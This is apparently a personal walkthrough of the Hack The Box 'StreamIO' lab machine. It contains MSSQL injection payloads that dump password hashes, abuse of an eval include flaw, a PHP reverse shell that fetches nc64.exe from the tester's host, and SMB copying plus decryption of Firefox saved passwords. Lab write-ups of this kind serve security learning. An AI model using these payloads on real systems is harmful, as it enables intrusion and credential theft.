Published on

HTB StreamIO

Authors

StreamIO

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

ā””ā”€$ nmap -p- -Pn $IP -o full-enumerate.nmap         
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 20:30 EDT
Nmap scan report for 10.10.11.158
Host is up (0.019s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49704/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 105.47 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap check UDP

sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

ā””ā”€$ nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49704 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-04 20:33 EDT
Nmap scan report for 10.10.11.158
Host is up (0.031s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-headers: 
|   Content-Length: 703
|   Content-Type: text/html
|   Last-Modified: Tue, 22 Feb 2022 10:46:01 GMT
|   Accept-Ranges: bytes
|   ETag: "b23de861d927d81:0"
|   Server: Microsoft-IIS/10.0
|   X-Powered-By: ASP.NET
|   Date: Tue, 05 Sep 2023 07:34:27 GMT
|   Connection: close
|   
|_  (Request type: HEAD)
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-05 07:33:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2023-09-05T07:35:09+00:00; +7h00m00s from scanner time.
|_http-title: Not Found
| http-headers: 
|   Content-Type: text/html; charset=us-ascii
|   Server: Microsoft-HTTPAPI/2.0
|   Date: Tue, 05 Sep 2023 07:34:28 GMT
|   Connection: close
|   Content-Length: 315
|   
|_  (Request type: GET)
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-headers: 
|   Content-Type: text/html; charset=us-ascii
|   Server: Microsoft-HTTPAPI/2.0
|   Date: Tue, 05 Sep 2023 07:34:27 GMT
|   Connection: close
|   Content-Length: 315
|   
|_  (Request type: GET)
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-09-05T07:34:29
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.79 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

nothing

Port Enumeration

  • crackmapexec smb 10.10.11.158 --shares -u 'collinhacks' -p ''
ā””ā”€$ crackmapexec smb 10.10.11.158 --shares -u 'collinhacks' -p ''
SMB         10.10.11.158    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.158    445    DC               [-] streamIO.htb\collinhacks: STATUS_LOGON_FAILURE

In this output we see name:DC and domain:streamIO.htb which tells me that the hostname is DC.streamIO.htb

**Port 80

  • IIS Windows Server

********Port 443

  • DNS:streamIO.htb, DNS:watch.streamIO.htb
    • From nmap, add to /etc/hosts

https://streamio.htb/

https://watch.streamio.htb/

Untitled

SQL Injection

  • https://watch.streamio.htb/search.php

    Untitled

  • When I try to query a movie, it works a hidden parameter q=

    Untitled

    • Whenever I try do so some sort of SQL Injection here like simple ' nothing responds or queries to show me a difference

    • But if I do like a itā€™ll show a fuck ton of movies

    • Ooo I tried 1' or '1'='1 and got ā€œblockedā€

      Untitled

    • Can I possibly call a movie with an SQL query?

    • q=' UNION ALL SELECT 1

      • doesnā€™t get blocked
    • q=god' union select 1,2,3;--

      • doesnā€™t get blocked, nothing reflecting in the search though
    • honestly im just gonna fucking guess it exists if itā€™s querying this far and not getting blocked, earlier today I did a portswigger SQL lab on versionā€™s so I wanna try that here

    • q=god' union select 'abc', 'def'#

      • this is from one lab, which queried fine
    • https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

      • This is the lab I did, and looking at it we need to ā€œDetermine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following:
      • '+UNION+SELECT+'abc','def'# which is what I did above
    • q=god' union select 1,2,3,4,5,6--

      • This returns this:

        Untitled

      • Which confirms SQL injection, what I had to do was increase the number after union select 1,... and once it got to 6, it reflected. That means that there is 6 columns that are being returned by the query.

    • Now we need to find which out of these 6 column entries contains data, and this is likely MSSQL since itā€™s Windows, so we send it @@version

    • q=god' union select 1,@@version,3,4,5,6--

      Untitled

    • Inserting @@version into the 2nd slot shows me it is Microsoft SQL Server 2019, now we just further enumerate this to give us users/passwords Iā€™d assume

Enumerate MSSQL Database

master, model, msdb, and tempdb are MSSQL system databases. STREAMIO sticks out to me since that is the name of the box.

  • q=god' union select 1,name,3,4,5,6 from streamio..sysobjects where xtype='U'--
    • This will query the streamio database for anything with a U in the column, and we get 2 databases

      Untitled

  • This didnā€™t really tell me too much so I tried to enumerate more, ideally just all users or some shit
  • god' union select 1,name,3,4,5,6 from syscolumns where id =(SELECT id FROM sysobjects WHERE name = 'users')--
    • This basically is similar to the last one but breaks syscolumns into querying an id and sysobjects for users

      Untitled

  • This is a lot easier to work with lol we can now concat each column
  • god' union select 1,CONCAT(username, ' ', password),3,4,5,6 from users--
    • a lot simplier sqli, we just inject into the 2nd column looking for all usernames and passwords from users and we get the hashes for each user (and admin!)

      Untitled

    • yoshihide at the bottom is suspect, its the only non-human name and its at the bottom

      Untitled

    • yoshihide:b779ba15cedfd22a023c4d8bcf5f2332

Hash found from SQLi

Logging in ae yoshihide

  • Logged in, did an authenticated directory fuzz
    • wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --hc 404 -d "PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a" https://streamio.htb/FUZZ

    • A lot of the stuff 405ā€™d, but we see admin

      Untitled

    • Everything here is deleteing something except Leave a message for admin so Iā€™ll look into this first I guess

      • nothing

Fuzz parameters

  • Fuzz parameters
    • ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a" -u "https://streamio.htb/admin/?FUZZ=" --fw 85

      Untitled

    • debug is new we alreayd have movie staff and user

      Untitled

    • money

    • Querying index.php gives an error

    • Querying master.php shows a bunch of stuff weā€™ve already seen on the website, so I go to /admin/master.php

Untitled

  • Likely we just query this with include as added text in Burp and give it an rce with php since the webapp uses php

Decoding master.php

  • https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

    Untitled

  • pasted

    onlyPGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUWydtb3ZpZV9pZCddKSkNCnsNCiRxdWVyeSA9ICJkZWxldGUgZnJvbSBtb3ZpZXMgd2hlcmUgaWQgPSAiLiRfUE9TVFsnbW92aWVfaWQnXTsNCiRyZXMgPSBzcWxzcnZfcXVlcnkoJGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Nyb2xsYWJsZSI9PiJidWZmZXJlZCIpKTsNCn0NCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIG1vdmllcyBvcmRlciBieSBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZGl2Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F0OmxlZnQ7Ij48P3BocCBlY2hvICRyb3dbJ21vdmllJ107ID8+PC9oND4NCgkJPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDogMjVweDsiPg0KCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vdmllX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkcm93WydpZCddOyA/PiI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhbHVlPSJEZWxldGUiPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2Pg0KPD9waHANCn0gIyB3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lbnQ8L2gxPg0KPD9waHANCmlmKCFkZWZpbmVkKCdpbmNsdWRlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxlIHRocm91Z2ggaW5jbHVkZXMiKTsNCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIHVzZXJzIHdoZXJlIGlzX3N0YWZmID0gMSAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0KaWYoaXNzZXQoJF9QT1NUWydzdGFmZl9pZCddKSkNCnsNCj8+DQo8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4gTWVzc2FnZSBzZW50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZmZfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRyb3dbJ2lkJ107ID8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWxlIGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZXIgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jbHVkZWQnKSkNCglkaWUoIk9ubHkgYWNjZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIik7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQokcXVlcnkgPSAiZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgaXNfc3RhZmYgPSAwIGFuZCBpZCA9ICIuJF9QT1NUWyd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlcl9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvd1snaWQnXTsgPz4iPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iRGVsZXRlIj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjw/cGhwDQp9ICMgd2hpbGUgZW5kDQo/Pg0KPGJyPjxocj48YnI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IG5hbWU9ImluY2x1ZGUiIGhpZGRlbj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ2luY2x1ZGUnXSkpDQp7DQppZigkX1BPU1RbJ2luY2x1ZGUnXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWwoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydpbmNsdWRlJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==
    
  • Put this into a file locally called master.php and then

    • base64 -d master.php
  • decoded

    ā””ā”€$ base64 -d master.php  
    ļæ½yr<h1>Movie managment</h1>
    <?php
    if(!defined('included'))
    	die("Only accessable through includes");
    if(isset($_POST['movie_id']))
    {
    $query = "delete from movies where id = ".$_POST['movie_id'];
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    }
    $query = "select * from movies order by movie";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
    {
    ?>
    
    <div>
    	<div class="form-control" style="height: 3rem;">
    		<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
    		<div style="float:right;padding-right: 25px;">
    			<form method="POST" action="?movie=">
    				<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
    				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
    			</form>
    		</div>
    	</div>
    </div>
    <?php
    } # while end
    ?>
    <br><hr><br>
    <h1>Staff managment</h1>
    <?php
    if(!defined('included'))
    	die("Only accessable through includes");
    $query = "select * from users where is_staff = 1 ";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    if(isset($_POST['staff_id']))
    {
    ?>
    <div class="alert alert-success"> Message sent to administrator</div>
    <?php
    }
    $query = "select * from users where is_staff = 1";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
    {
    ?>
    
    <div>
    	<div class="form-control" style="height: 3rem;">
    		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
    		<div style="float:right;padding-right: 25px;">
    			<form method="POST">
    				<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
    				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
    			</form>
    		</div>
    	</div>
    </div>
    <?php
    } # while end
    ?>
    <br><hr><br>
    <h1>User managment</h1>
    <?php
    if(!defined('included'))
    	die("Only accessable through includes");
    if(isset($_POST['user_id']))
    {
    $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    }
    $query = "select * from users where is_staff = 0";
    $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
    while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
    {
    ?>
    
    <div>
    	<div class="form-control" style="height: 3rem;">
    		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
    		<div style="float:right;padding-right: 25px;">
    			<form method="POST">
    				<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
    				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
    			</form>
    		</div>
    	</div>
    </div>
    <?php
    } # while end
    ?>
    <br><hr><br>
    <form method="POST">
    <input name="include" hidden>
    </form>
    <?php
    if(isset($_POST['include']))
    {
    if($_POST['include'] !== "index.php" ) 
    eval(file_get_contents($_POST['include']));
    else
    echo(" ---- ERROR ---- ");
    }
    ?>
    
  • This catches my eye so ya likely we just call include with a shell of some sort and weā€™re in

<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
  • Created rev.php with revshells

  • First request sent with include= content didnā€™t work

    GET /admin/?debug=master.php HTTP/2
    Host: streamio.htb
    Cookie: PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Te: trailers
    Content-Length: 33
    
    include=http://10.10.16.2/rev.php
    
  • Added Content-Type: application/x-www-form-urlencoded didnā€™t work

    GET /admin/?debug=master.php HTTP/2
    Host: streamio.htb
    Cookie: PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Te: trailers
    Content-Length: 33
    Content-Type: application/x-www-form-urlencoded
    
    include=http://10.10.16.2/rev.php
    
  • Trying a simpler php execution

    File rce.php or something

    system("dir C:\\");
    

    Request:

    POST /admin/?debug=master.php HTTP/2
    Host: streamio.htb
    Cookie: PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Te: trailers
    Content-Length: 33
    Content-Type: application/x-www-form-urlencoded
    
    include=http://10.10.16.2/rce.php
    

Untitled

  • Request in burp

    POST /admin/?debug=master.php HTTP/2
    Host: streamio.htb
    Cookie: PHPSESSID=vbs8us0br4qlvkde4sib4jdh8a
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Te: trailers
    Content-Length: 33
    Content-Type: application/x-www-form-urlencoded
    
    include=http://10.10.16.2/rev.php
    

Onto Foothold


Exploitation

**********Port 80

Foothold

Reverse shell from RCE

  1. We now have the include function enumerated. First cp ../Bart/nc64.exe . and now we can get a shell by downloading nc64.exe to the machine, and then calling it. Letā€™s name it rev.php.

    system("powershell -c wget 10.10.16.2/nc64.exe -outfile \\programdata\\nc64.exe");
    system("\\programdata\\nc64.exe -e powershell 10.10.16.2 9001");
    

Untitled

WinPEAS

  1. (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.2/winPEASany.exe', 'C:\tmp\winPEASany.exe')
  2. cp ~/Tools/privesc/windows/wesng/wes.py .
    1. (New-Object System.Net.WebClient).DownloadFile('http://10.10.16.2/wes.py', 'C:\tmp\wes.py')

nothing too interesting

search.php

  1. C:\inetpub\watch.streamio.htb\search.php has a line on it in the beginning where it is connecting to a database to be able to query for movies.
# Query section
$connection = array("Database"=>"STREAMIO", "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
  1. We can do a search for anything ending in .php and look for the word database
  • PS C:\inetpub\watch.streamio.htb> dir -recurse *.php | select-string -pattern "database"
search.php:15:$connection = array("Database"=>"STREAMIO", "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
  • PS C:\inetpub\streamio.htb> dir -recurse *.php | select-string -pattern "database"
admin\index.php:9:$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
login.php:46:$connection = array("Database"=>"STREAMIO" , "UID" => "db_user", "PWD" => 'B1@hB1@hB1@h');
register.php:81:    $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');

Tried it in both watch.streamio.htb and streamio.htb and we got more credentials in watch.streamio.htb since it has db_admin

Connect to the database

  1. Enumerated a database locally cuz crackmapexec failed
    1. where.exe sqlcmd

Untitled

So it exists, just have to connect to db_admin with it now

  1. sqlcmd -U db_admin -P B1@hx31234567890 -d streamio -Q "select table_name from streamio_backup.information_schema.tables;"

Untitled

  1. sqlcmd -U db_admin -P B1@hx31234567890 -d streamio -Q "select * from users;"

Untitled

This is the same database as before, need to use a different one, not streamio

Enumerate streamio_backup database

  1. Earlier when we checked master..sysdatabases in the SQLi, there was streamio_backup as well.

    Untitled

These are our 2 databases. I enumerated STREAMIO again, we need to juice streamio_backup.

  1. sqlcmd -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"

Untitled

  1. Immediately nikk37 sticks out to me because theyā€™re in the C:\Users directory

nikk37:389d14cb8e4e9b94b137deb1caf0612a

ā†’ hashes.com

389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com

Weird password idk if this is actuallly the password lolol - I think it is right because yoshihide's hash is the same so Iā€™m assuming nikk37's hash is just in the backup

Authenticate to nikk37 (with winrm)

  1. Check if we can authenticate
    1. crackmapexec smb 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'

Untitled

  1. Yes we can, now we actually authenticate
    1. evil-winrm -i 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'

Untitled

user.txt on Desktop

Root

  1. net user

Untitled

  1. Going through my Priv Esc for Windows, went through ā€œProgram Files (x86)ā€

    Untitled

  2. There are some browsers (Mozilla Firefox stands out to me) installed so we can check browser data

    1. So usually the data will be in a specific Userā€™s folder rather than inside of the Program Files
  3. cd Users/nikk37 ā†’ dir -force (ls -la equivalent)

    Untitled

    Untitled

    Untitled

One of these Profiles probably has credentials

5rwivk2l.default is empty

Extract Mozilla Firefox passwords

  1. We need key4.db and logins.json, so we can start an SMB server Locally and then mount the share on StreamIO and copy files into it

  2. Locally:

    1. smbserver.py share . -user collinhacks -pass collinhacks -smb2support

      Untitled

  3. Target:

    1. net use \\10.10.16.3\share /u:collinhacks collinhacks

      Untitled

    2. copy key4.db \\10.10.16.3\share\

    3. copy logins.json \\10.10.16.3\share

  4. Now we can see them locally

    Untitled

  5. Extract the passwords with a tool called https://github.com/lclevy/firepwd

  6. cp firepwd.py ../ to put it in the same directory as key4.db & logins.json

  7. python3 firepwd.py

globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
       }
     }
   }
   OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
       }
     }
   }
   OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
 }
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

Bunch of random ass passwords we ideally want to auth as JDgodd cuz from net user we saw heā€™s Admin

  1. crackmapexec smb 10.10.11.158 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r'

    • We can see the other ones failed too

    Untitled

  2. But we canā€™t shell lol fuck

    1. crackmapexec winrm 10.10.11.158 -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r'

      Untitled

